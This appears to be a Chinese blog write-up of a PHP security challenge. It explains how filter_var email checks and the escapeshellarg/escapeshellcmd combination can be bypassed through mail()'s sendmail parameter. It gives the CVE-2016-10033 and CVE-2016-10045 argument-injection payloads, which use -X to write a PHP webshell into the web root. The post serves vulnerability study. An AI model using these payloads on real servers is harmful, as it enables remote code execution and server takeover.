天天看點

PHP mail()可能導緻的問題

參考文獻: https://xz.aliyun.com/t/2501 題目網址: https://www.ripstech.com/php-security-calendar-2017/

環境:

php version < 5.2.0

phpmailer < 5.2.18

php 沒有安裝 pcre(no default)

safe_mode = false(default)

題目

class Mailer {
    private function sanitize($email) {
        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            return '';
        }
        return escapeshellarg($email);
    }
    public function send($data) {
        if (!isset($data['to'])) {
            $data['to'] = '[email protected]';
        } else {
            $data['to'] = $this->sanitize($data['to']);
        }
        if (!isset($data['from'])) {
            $data['from'] = '[email protected]';
        } else {
            $data['from'] = $this->sanitize($data['from']);
        }
        if (!isset($data['subject'])) {
            $data['subject'] = 'No Subject';
        }
        if (!isset($data['message'])) {
            $data['message'] = '';
        }
        mail($data['to'], $data['subject'], $data['message'],
             '', "-f" . $data['from']);
    }
}
$mailer = new Mailer();
$mailer->send($_POST);
           

①mail()函數

整體來看此題目是發送郵件的,先看下

mail()函數

的用法

mail(to,subject,message,headers,parameters)
to             必需。規定郵件的接收者。
subject        必需。規定郵件的主題。該參數不能包含任何換行字元。
message        必需。規定要發送的消息。
headers        必需。規定額外的報頭,比如 From, Cc 以及 Bcc。
parameters     必需。規定 sendmail 程式的額外參數。
           

②filter_var()函數

filter_var($email, FILTER_VALIDATE_EMAIL)//郵件過濾器,確定在第5個參數中僅使用有效的電子郵件位址mail()

filter_var(variable, filter, options)函數通過指定的過濾器過濾變量。如果成功,則傳回已過濾的資料,如果失敗,則傳回 false
variable    必需。規定要過濾的變量。
filter  可選。規定要使用的過濾器的 ID。
options     規定包含标志/選項的數組。檢查每個過濾器可能的标志和選項。
           

此函數在雙引号中嵌套轉義空格仍然能夠通過檢測。同時由于底層正規表達式的原因,通過重疊單引号和雙引号,欺騙

filter_var()

,這樣就可以繞過檢測。

一個簡單的例子:

<?php
var_dump(filter_var('\'is."\'\ not\ allowed"@123.com',FILTER_VALIDATE_EMAIL));
var_dump(filter_var('"is.\ not\ allowed"@123.com',FILTER_VALIDATE_EMAIL));
var_dump(filter_var('"is.""\ not\ allowed"@123.com',FILTER_VALIDATE_EMAIL));
?>
           
PHP mail()可能導緻的問題

1.png

③escapeshellcmd()函數

引入的特殊符号,雖然繞過了

filter_var()

的檢測,但PHP的

mail()

在底層調用了

escapeshellcmd()

,對使用者輸入的郵箱位址進行檢測,即使存在特殊符号,也會被

escapeshellcmd()

處理轉義,這樣就沒辦法達到指令執行的目的了。

但還調用了

escapeshellarg()//把字元串轉碼為可以在 shell 指令裡使用的參數

,此函數将給字元串增加一個單引号并且能引用或者轉碼任何已經存在的單引号,確定能夠直接将一個字元串傳入 shell 函數(含

exec(),system(),反引号

)

一個例子

<?php
$a="127.0.0.1' -v -d a=1";
$b=escapeshellarg($a);
$c=escapeshellcmd($b);
$cmd="curl ".$c;
var_dump($b)."\n";
var_dump($c)."\n";
var_dump($cmd)."\n";
system($cmd);
?>
           
  • 傳入的參數是

    127.0.0.1' -v -d a=1

  • escapeshellarg()

    先對單引号轉義,再用單引号将左右兩部分括起來進而起到連接配接的作用。處理之後為:

    '127.0.0.1'\'' -v -d a=1'

  • 接着

    escapeshellcmd()

    對第二步處理後字元串中的

    \

    以及

    a=1'

    中的單引号進行轉義處理,結果為:

    '127.0.0.1'\\'' -v -d a=1\'

  • 第三步處理之後的payload中的

    \\

    被解釋成了

    \

    而不再是轉義字元,是以單引号配對連接配接之後将payload分割為三個部分:

    '127.0.0.1'\

    \'' -v -d

    a=1\'

  • 是以這個payload可以簡化為

    curl 127.0.0.1\ -v -d a=1'

    ,即向

    127.0.0.1\

    發起請求,POST 資料為

    a=1'

根據此漏洞有兩個執行個體:

CVE-2016-10033

payload:

a( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com

然後通過 linux 自身的 sendmail 寫log的方式,把log寫到web根目錄下。将日志檔案字尾定義為 .php ,即可成功寫入webshell。

CVE-2016-10045

a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com